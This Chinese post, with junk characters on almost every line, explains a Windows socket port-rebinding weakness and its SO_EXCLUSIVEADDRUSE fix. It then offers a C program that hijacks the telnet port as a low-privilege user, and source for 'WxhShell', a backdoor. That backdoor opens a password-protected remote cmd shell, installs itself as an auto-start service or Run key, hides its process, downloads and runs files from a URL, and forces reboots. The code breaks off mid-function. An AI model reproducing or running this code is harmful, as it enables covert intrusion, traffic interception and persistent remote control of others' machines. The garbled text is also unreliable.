在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iZ#!O*> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
"Q}#^h]F Ttu2 skcv saddr.sin_family = AF_INET;
p#ol*m5wE A_XY'z 1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mC4zactv e}D3d=6` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S@jQX K,Ef9c/+K 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
hEA<o67 I?h)OvWd 这意味着什么?意味着可以进行如下的攻击:
!^^?dRd*v ;;_,~pI?k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
eV2W{vuI #+:9T/*>0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%}SGl${- W3]_m8,Z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8qk?E6 .GsV>H 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
m;H.#^b* c&r70L, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8>trS=;n (n*^4@"2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#^`4DhQ/
1 Qiua 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V@B__`y7 WzPTFw[ #include
q
0$,*[PH #include
2QD3&Q9 #include
3*]eigi) #include
*S]Ci\{_ DWORD WINAPI ClientThread(LPVOID lpParam);
Q}1 R5@7 int main()
LIS)(X<]? {
9 %8"e>~ WORD wVersionRequested;
*EOdEFsR/ DWORD ret;
na#CpS;pc WSADATA wsaData;
qIVx9jNN BOOL val;
8qY79)vD4E SOCKADDR_IN saddr;
%b%-Ogz;4 SOCKADDR_IN scaddr;
>z/#_z@LV int err;
r;B8i!gD SOCKET s;
I(]}XZq SOCKET sc;
J@^8ko int caddsize;
~T ]m>A! HANDLE mt;
88VZR&v DWORD tid;
$}<PL}+ wVersionRequested = MAKEWORD( 2, 2 );
8J=?5 err = WSAStartup( wVersionRequested, &wsaData );
.Obw|V- if ( err != 0 ) {
udxFz2>_l$ printf("error!WSAStartup failed!\n");
_a5d?Q9Z return -1;
pf%=h
| }
k&&2Tq saddr.sin_family = AF_INET;
`s"'r ! 6 )Hwt_b //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
f* !j[U/r_ =q>'19^Jx saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
W0y '5` saddr.sin_port = htons(23);
KX!T8+Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QP@%(]f G {
~c8?>oN( printf("error!socket failed!\n");
@E^~$-J5j return -1;
sc|_Q/`\. }
o]+z)5zC val = TRUE;
fdxLAC //SO_REUSEADDR选项就是可以实现端口重绑定的
1QqYQafA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
RS"H8P4W {
e>7]w,*| printf("error!setsockopt failed!\n");
vGc,vjC3x return -1;
)'Oh`$M }
}E+!91't.^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;,$NAejgd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
k'gh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
m`IC6* U1@IX4^2` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{G|,\O1 {
[DJ flCR& ret=GetLastError();
c|lu&}BS printf("error!bind failed!\n");
?Y)vGlWDW< return -1;
0Oi,#]F }
P7J>+cm listen(s,2);
{FO;Yg' while(1)
E'v_#FLvR {
{s)+R[?m<o caddsize = sizeof(scaddr);
q`|LRz&al //接受连接请求
p`mS[bxv! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~3UQ|j if(sc!=INVALID_SOCKET)
{p)",)td {
&J55P]7w mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
R?v>Q` Qi if(mt==NULL)
B||*.`3gN {
$.C=H[QC printf("Thread Creat Failed!\n");
3b*cU}go break;
&Flglj~7l }
e8y;.D[2 }
~hZ"2$(0
CloseHandle(mt);
oE<`VY| }
Wc,_RN- closesocket(s);
*7*lE"$p WSACleanup();
x1Lb*3Fe return 0;
LG-y]4a} }
wQv'8A_} DWORD WINAPI ClientThread(LPVOID lpParam)
P1zKsY,l$< {
rW0kA1=E SOCKET ss = (SOCKET)lpParam;
3j,Q`+l/6d SOCKET sc;
A54N\x, unsigned char buf[4096];
6S\C}U/ SOCKADDR_IN saddr;
Cnnh7` long num;
_ 6O\W%it DWORD val;
7x#Ckep:I DWORD ret;
@*}D$}aR'V //如果是隐藏端口应用的话,可以在此处加一些判断
ML:Q5 ^` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?bPRxR saddr.sin_family = AF_INET;
(H)2s Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(>F%UY saddr.sin_port = htons(23);
SLO%7%>p if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;+0t;B!V {
lFa02p0 printf("error!socket failed!\n");
z8{a(nK P return -1;
nFE4qm }
=3|O%\ val = 100;
c05TsMF&O if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-%2[2p {
;ToKJ6hN|* ret = GetLastError();
HuB<k3#sPy return -1;
S7=Bd[4 }
pV.Av if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Nqw&< x+ {
>fe-d#!{ ret = GetLastError();
umD!2
w return -1;
AP[|Ta }
%R@X>2l/_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
7+]=- {
NZ;{t\ printf("error!socket connect failed!\n");
fYp'&Btb]x closesocket(sc);
D|@/yDQ closesocket(ss);
JmPHAUd return -1;
xm%Um\Pb7 }
=jlt5 z while(1)
e"/;7:J5\ {
] x\-$~E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
+lJG(Qd //如果是嗅探内容的话,可以再此处进行内容分析和记录
p+l !6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ElS 9?Q+ num = recv(ss,buf,4096,0);
9[1`jtm if(num>0)
3mYiQ2 send(sc,buf,num,0);
gfsI6/Y else if(num==0)
f&}k^>N#3 break;
+SsK21f"r num = recv(sc,buf,4096,0);
|o,8V p if(num>0)
+# GQ, send(ss,buf,num,0);
k:JrHBKv\ else if(num==0)
k9$K} break;
Mzsfo;kk+ }
=3q/F7- closesocket(ss);
jZh';M8" closesocket(sc);
;FBUwR} return 0 ;
R16'?, }
XpmS{nb bA=
|_Wt >wb'QzF: ==========================================================
SGh1 DB lrnyk(M}Q. 下边附上一个代码,,WXhSHELL
*F
?8c U"q/rcA ==========================================================
Qi_>Mg`x U Z.=aQ}M #include "stdafx.h"
(rkyW z 8#(Q_ #include <stdio.h>
b'J'F;zh> #include <string.h>
/DQc&.jK #include <windows.h>
M%1}/!J3 #include <winsock2.h>
Q>/C*@ #include <winsvc.h>
A/s>PhxV #include <urlmon.h>
M7+nW ; e% Ul2R'"FB #pragma comment (lib, "Ws2_32.lib")
d*A*y ^OD #pragma comment (lib, "urlmon.lib")
la( <8 _/Gczy4)# #define MAX_USER 100 // 最大客户端连接数
V6t,BJjS #define BUF_SOCK 200 // sock buffer
v3}L`dyh3 #define KEY_BUFF 255 // 输入 buffer
Hu.t 3:w -:30:oq #define REBOOT 0 // 重启
~n[xtWO0 #define SHUTDOWN 1 // 关机
70f Klp
Vm(1G8 a #define DEF_PORT 5000 // 监听端口
N-I5X2 :!5IW?2 #define REG_LEN 16 // 注册表键长度
5m?8yT} #define SVC_LEN 80 // NT服务名长度
xqC+0{]y )t$,e2FY // 从dll定义API
@fs`=lL/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
A3B56K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
q-]`CW]n typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*H?!;u=8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Gp4A.\7 bx]N>k J // wxhshell配置信息
IX*idcxR struct WSCFG {
XK|R8rhg8` int ws_port; // 监听端口
%CS@g.H=_ char ws_passstr[REG_LEN]; // 口令
Zm=(+
f int ws_autoins; // 安装标记, 1=yes 0=no
(>`5z(X char ws_regname[REG_LEN]; // 注册表键名
`)GrwfC char ws_svcname[REG_LEN]; // 服务名
2 Yp7 char ws_svcdisp[SVC_LEN]; // 服务显示名
{]E+~%Va char ws_svcdesc[SVC_LEN]; // 服务描述信息
f>piHh? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
h3*Zfl<] int ws_downexe; // 下载执行标记, 1=yes 0=no
3pK*~VK char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L:_bg8eD# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@;<ht c jV?
}9L^; };
PQK(0iCo4 A|L 8P // default Wxhshell configuration
iXjo[Rz^C struct WSCFG wscfg={DEF_PORT,
,$'])A?$ "xuhuanlingzhe",
0PU8#2pR 1,
/e]'u&a "Wxhshell",
DyeQJ7p "Wxhshell",
Mk=mT3=# "WxhShell Service",
= M]iIWQ@` "Wrsky Windows CmdShell Service",
KN tt "Please Input Your Password: ",
'XzXZJ[uq 1,
:JfE QIN "
http://www.wrsky.com/wxhshell.exe",
C?i >.t "Wxhshell.exe"
%F:)5gT? };
/ODXV`3QYI E2cB U{x // 消息定义模块
hGbj0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
SB5&A_tr char *msg_ws_prompt="\n\r? for help\n\r#>";
xdf82) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_~rI+l A char *msg_ws_ext="\n\rExit.";
X6 6VU char *msg_ws_end="\n\rQuit.";
Ma8_:7`>O char *msg_ws_boot="\n\rReboot...";
0pJ
":Q/2) char *msg_ws_poff="\n\rShutdown...";
)(tM/r4`c& char *msg_ws_down="\n\rSave to ";
)$`wIp q^A+<d char *msg_ws_err="\n\rErr!";
6_d.Yfbq char *msg_ws_ok="\n\rOK!";
6I!7c^]t 8me ]JRw char ExeFile[MAX_PATH];
Ea?XT&, int nUser = 0;
+V{7")px6 HANDLE handles[MAX_USER];
?V}j`r8|\4 int OsIsNt;
/DqLrA )u/H>;L P SERVICE_STATUS serviceStatus;
:.?gHF.? SERVICE_STATUS_HANDLE hServiceStatusHandle;
OvUI@,Ef %e`$p=m // 函数声明
?W0)nQU int Install(void);
\MK*by int Uninstall(void);
?Q-h n:F) int DownloadFile(char *sURL, SOCKET wsh);
ZVbl88,(l int Boot(int flag);
wWSdTLX void HideProc(void);
NTS#sgP int GetOsVer(void);
P%#*-zCCx int Wxhshell(SOCKET wsl);
Vpr/ void TalkWithClient(void *cs);
cZ(elZ0~ int CmdShell(SOCKET sock);
GEEW?8 int StartFromService(void);
H-3Eo#b# int StartWxhshell(LPSTR lpCmdLine);
=)E,8L 8a_[B~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
quvanxV-L VOID WINAPI NTServiceHandler( DWORD fdwControl );
N<QjdD& HLBkR>e // 数据结构和表定义
25NTIzI@@ SERVICE_TABLE_ENTRY DispatchTable[] =
fZxIY, {
[!
'op0 {wscfg.ws_svcname, NTServiceMain},
R |f~>JUF {NULL, NULL}
3SSm5{197 };
/
}R z=& }BiiE%a // 自我安装
<,AS8^$X[ int Install(void)
4GR!y) {
u7xDau(c char svExeFile[MAX_PATH];
/'Pd`Nxl. HKEY key;
uZZU{U9h strcpy(svExeFile,ExeFile);
557(EM
R/^u/~< // 如果是win9x系统,修改注册表设为自启动
gPu2G/Y if(!OsIsNt) {
<$N"q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nuo Pg3Nl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PlYm& RegCloseKey(key);
?88`fJ@tk? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VyRsPg[( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/t6X(*xoy RegCloseKey(key);
O$kq`'9
return 0;
peJKNX.!q }
'+
xu#R }
c*`>9mv }
goJ|oi else {
saU]`w_Z* 7 Sa1;%R // 如果是NT以上系统,安装为系统服务
}|B=h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2"fO6!hh if (schSCManager!=0)
+n })Y {
kQaSbpNmH SC_HANDLE schService = CreateService
?:|-Dq, (
|v[ Rp=?] schSCManager,
Qu<Bu)` wscfg.ws_svcname,
T6pLoaKu wscfg.ws_svcdisp,
~Ph\Sbp SERVICE_ALL_ACCESS,
0aoHKeP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
v+e|o:o# SERVICE_AUTO_START,
`:O\dN>ON SERVICE_ERROR_NORMAL,
J(#mtj>v_ svExeFile,
@\w,otT NULL,
]#/4Y_d NULL,
}tPk@$ NULL,
"lNzGi-H NULL,
]I/Vb s NULL
M0|'f' );
.)|a2d ~F if (schService!=0)
GpbC
M~x {
|0{u->+ ) CloseServiceHandle(schService);
jKZt~I CloseServiceHandle(schSCManager);
YF:2>w< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
h;V,n strcat(svExeFile,wscfg.ws_svcname);
:K?0e` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z?J:$of* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
tRw@U4=y RegCloseKey(key);
X%bFN return 0;
0t#g} }
cL8#S>>u. }
.Hc(y7HV CloseServiceHandle(schSCManager);
okq[ o90 }
N~pIC2Woo }
r}u%#G+K, I
_i6-<c.Q return 1;
xsjO)))f }
pPVRsXy Jdy<w&S // 自我卸载
1Uf*^WW4 int Uninstall(void)
+Z!;P
Z6 {
M[~{Vd HKEY key;
yMLOUUWa8x JaWv]@9* if(!OsIsNt) {
Aa?I8sbc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u@p? RegDeleteValue(key,wscfg.ws_regname);
)'Wb&A' RegCloseKey(key);
4$,,Ppn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qQxz(}REu9 RegDeleteValue(key,wscfg.ws_regname);
0aR,H[r[? RegCloseKey(key);
JK#vkCkyM return 0;
vRA',(]( }
zH=!*[d8 }
qQ7w&9r.M }
69kJC/1+l else {
w:o-klKXY iRG?# " SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Je4Z(kj 0 if (schSCManager!=0)
^*R(!P^ {
9umGIQHnil SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
rOD1_X- if (schService!=0)
_SZ5P>GIU {
gQ~5M'# if(DeleteService(schService)!=0) {
oUx[+Gnv CloseServiceHandle(schService);
^IgY d*5 CloseServiceHandle(schSCManager);
jnuY{0(& return 0;
nzX@:7g }
R.j1?\ CloseServiceHandle(schService);
|m,VTViv;i }
?p[O%_Xf CloseServiceHandle(schSCManager);
Q\{x)|{$ }
&"uV~AM }
w W$(r- ovf/;Q/} return 1;
WW@"Z}?k }
GR'Ti*Qi r)1Z(tl // 从指定url下载文件
1xnLB>jP# int DownloadFile(char *sURL, SOCKET wsh)
G>T')A {
l{P\No HRESULT hr;
__p_8P char seps[]= "/";
V'Qn sI char *token;
$e\N+~KNCy char *file;
%@ mGK8 char myURL[MAX_PATH];
i(2y:U3[@ char myFILE[MAX_PATH];
Z\>, ),O cJn HW strcpy(myURL,sURL);
mnF}S5[9 token=strtok(myURL,seps);
}xn_6 while(token!=NULL)
vxN0,l {
=Pe><k file=token;
=lr) gj token=strtok(NULL,seps);
OQlG+| }
KA]*ox6j; yno(' 1B@ GetCurrentDirectory(MAX_PATH,myFILE);
E@QA". strcat(myFILE, "\\");
|bZM/U= strcat(myFILE, file);
m.%`4L^`T send(wsh,myFILE,strlen(myFILE),0);
A q#/2t send(wsh,"...",3,0);
lx,`hl% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F=@i6ERi if(hr==S_OK)
`?s.\Dh return 0;
}GHxG9!z else
US? Rr return 1;
~el-*=<m _JGs}aQ }
Yq'4e[i ~krS#\ // 系统电源模块
?~ULIO' int Boot(int flag)
9$d.P6|d> {
HV]Ze>} HANDLE hToken;
O ++/ry%k TOKEN_PRIVILEGES tkp;
N=,j}FY es.CLkuD7Y if(OsIsNt) {
RU!?-#* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
PE@+w#i7* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7h<> k*E) tkp.PrivilegeCount = 1;
32XS`Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^nDal':* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6`nR5 fh if(flag==REBOOT) {
#ch if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}HZ{(? return 0;
@YL}km&Fw }
18!VO4u\I else {
9q4_j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zjM/M return 0;
P{oAObP% }
|KG&HNfP- }
V7<eQ0;m
else {
;[5r7
jHU if(flag==REBOOT) {
z-u?s`k** if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
v|+5:jFOqb return 0;
z: G}>fk5 }
sk X]8 else {
BnEdv8\,&s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
rFd@mO return 0;
x*8O*!ZZ }
f~\Xg7< }
6M><(1fT $-G`&oT return 1;
Lar r}o= }
^Vo"fI`=C g6' !v // win9x进程隐藏模块
W,N L*($^ void HideProc(void)
E/O5e(h {
E 5kF^P P W[6/7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ju{%'D!d9 if ( hKernel != NULL )
RV!<?[ {
-0|K,k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
W);W.:F ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
xh'^c^1 FreeLibrary(hKernel);
#( uj$[o }
<'*4j\* q Z\L return;
z\Ui8jo:; }
Ml`vx %8D?$v"#Z // 获取操作系统版本
1X@b?6 int GetOsVer(void)
A@ VaaX {
@l>Xnqx) OSVERSIONINFO winfo;
8R/
*6S=& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
w~-X>~ } GetVersionEx(&winfo);
( pD7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
vgk9b!Xd return 1;
8eX8IR!K9 else
05)|"EX) return 0;
l{EU_|q }
`p|[rS> %cj58zO|y // 客户端句柄模块
1ih* gJPpj int Wxhshell(SOCKET wsl)
R+Lk~X^*l' {
>l2w::l% SOCKET wsh;
>UN vkQ: struct sockaddr_in client;
hWxT ! DWORD myID;
iwo$\ ~07RFR while(nUser<MAX_USER)
NhDA7z`b'J {
4K,''7N3 int nSize=sizeof(client);
[$:@X V( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
qy9i9$8 if(wsh==INVALID_SOCKET) return 1;
x7gjG"V ak2dn]]D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
d
Uz<1^L if(handles[nUser]==0)
uGCtLA+sL closesocket(wsh);
F@<MT<TRf else
,wTg$g-$ nUser++;
Xu%d,T$G }
Sh$U-ch@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#~e9h9 ,i![QXZ return 0;
?#ihJt, }
Z:^3Fm->+ ^srs$
w] // 关闭 socket
Mdm0g void CloseIt(SOCKET wsh)
*H*\gaSh {
?Ccw4]YO,= closesocket(wsh);
g< )72-h nUser--;
lPp6
pVr ExitThread(0);
f!!P }
^2JPyyZa w`Xg%*]} // 客户端请求句柄
^BNp`x;;` void TalkWithClient(void *cs)
#NMJZ {
m+7`\|`jQ q\_DJ)qpn SOCKET wsh=(SOCKET)cs;
<i7agEdZD char pwd[SVC_LEN];
` U#Po_hq char cmd[KEY_BUFF];
WVkG2 char chr[1];
oek #^:pF int i,j;
x/_dW oVEAlBm^v while (nUser < MAX_USER) {
-$m@*L Zly-\z_ if(wscfg.ws_passstr) {
N1s.3` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_Z.;u0Zp8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9b%|^.B //ZeroMemory(pwd,KEY_BUFF);
[yvt1:q i=0;
Un\Ubqi0 while(i<SVC_LEN) {
\gP. \ -;<>tq'3` // 设置超时
i\vpGlx fd_set FdRead;
t.L4%1OF struct timeval TimeOut;
DA=qeVBg FD_ZERO(&FdRead);
&58 { FD_SET(wsh,&FdRead);
V0S6M^\DK TimeOut.tv_sec=8;
Z !Z,M' " TimeOut.tv_usec=0;
F`3^wHw^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+i4P,Lp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$>(9~Yh0 G V=OKf# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Md?acWE*L pwd
=chr[0]; /khnl9~+
if(chr[0]==0xd || chr[0]==0xa) { u YabJqV
pwd=0; ]'6'<S
break; K7S754m
} O&52o]k5l
i++; d["x=
[f
} 3Cd<p[%3#,
)*Vj3Jx
// 如果是非法用户,关闭 socket Tfr`?:yF
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \d ui`F"Cc
} unJiE!
|[DV\23{G
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )kF2HF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v10mDr
nrF!;:x
while(1) { D| [/>x
rI *!"PL
ZeroMemory(cmd,KEY_BUFF); 5'62ulwMP=
+R9%~Z.=
// 自动支持客户端 telnet标准 Vv2{^!aZ
j=0;
wFp~
while(j<KEY_BUFF) { a" ^#!G<+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ['?^>jfr
cmd[j]=chr[0]; 89db5Dx
if(chr[0]==0xa || chr[0]==0xd) { LH,]vuXh
cmd[j]=0; E`(5UF*>
break; @|E;}:?u
} Lp!0H `L
j++; R
!Fx)xj
} Kyu@>9Ok
,cPkx~w0
// 下载文件 [6G=yp
if(strstr(cmd,"http://")) { {uEu>D$8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z4\tY^NI
if(DownloadFile(cmd,wsh)) J-b~4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %l%=Dkss
else 6W]OpM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QN3qF|))
} \)p4okpR
else { KUlB2Fqi
L,E-z_<p
switch(cmd[0]) { 'w'Dwqhmr
%Fs*#S
// 帮助 )nJzSN=>$
case '?': { <=$rU232}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D xe-XKNc.
break; tN[St
} K<RmaXZ
// 安装 0BT;"B1
case 'i': { )o86lH"z
if(Install()) sWp{Y.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f%vHx,
else =_K%$y*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IES41y<
break; 8y-e+
} jkZ_c!
// 卸载 >F,$;y52
case 'r': { OY+!aG@.
if(Uninstall()) !}z%#$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z`^
K%P=
else &
8ccrw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xs{/}wc.q;
break; +dDJes!]
} <m~T>Ql1
// 显示 wxhshell 所在路径 MP6 \r
case 'p': { @=02
char svExeFile[MAX_PATH]; 32M6EEmPG
strcpy(svExeFile,"\n\r"); Up_>y>x
strcat(svExeFile,ExeFile); <+ -V5O^
send(wsh,svExeFile,strlen(svExeFile),0); jB*9 !xrd,
break; 5}<.1ab3V
} z\X60T
// 重启
Tbe_xs^
case 'b': { 7yo|ie@S
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1-4
if(Boot(REBOOT)) Q,OkO?uY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ztRWIkI
q
else {
=~,$V<+c
closesocket(wsh); %{N>c:2I$
ExitThread(0); ON:LPf>"-
} emGV]A%nss
break; ;:v]NZtc
} Q,[rrG;?@
// 关机 }~7H2d);-
case 'd': { #N<s^KYG-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }T?i%l
if(Boot(SHUTDOWN)) >:3xi{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e-nWD
else { Rh wt<
closesocket(wsh); d)`nxnbMeM
ExitThread(0); \9dz&H
} trID#DT~
break; % <8K^|w
} l=Lmr
// 获取shell -0=}|$H.
case 's': { FCsyKdM
CmdShell(wsh); wxdh?sQ
closesocket(wsh); ,apd3X%g
ExitThread(0); tXssejiE%
break; zv$=*
} dbf^A1HI
// 退出 k+W
case 'x': { u!=]zW%
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >=.ch5h3J)
CloseIt(wsh);
?K= gg<
break; GM34-GH+
} Vvxc8v:
// 离开 O+CF/ipX/
case 'q': { eY0Ly7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); yb@X*PW/z
closesocket(wsh); SL?%/$2g=O
WSACleanup(); }'@tA")-)
exit(1); *#X+Gngo
break; I v 80,hW
} z|t.y.JX
} lW{I`r\]
} `R4W4h'I
=RCfibT!C
// 提示信息 ;/6:lL
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aufcd57
} %8bFQNd
} ~FK+bF?%
XnNOj>!
return; Z_eqM4{
} Mt7X<?GZm
#R"9)vHp
// shell模块句柄 ]5qjK~,4b
int CmdShell(SOCKET sock) brpN>\
{ [A.eVuV;+
STARTUPINFO si; Rx_,J%0Fq
ZeroMemory(&si,sizeof(si)); rm7*l<v6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'tq\<y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M8^ziZY
PROCESS_INFORMATION ProcessInfo; S[\cT:{OE
char cmdline[]="cmd"; 8ESkG
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _BeX7
return 0; gn;nS{A
} ,=XS%g}l4
(
SC7m/
// 自身启动模式 RN cI]oJ
int StartFromService(void) N@%xLJF=N>
{ 9I^H)~S
typedef struct qqO10~Xc
{ 9v5.4a}
DWORD ExitStatus; x r+E
DWORD PebBaseAddress; A7I8Z6&
DWORD AffinityMask; 9e :d2
DWORD BasePriority; MO(5-R`
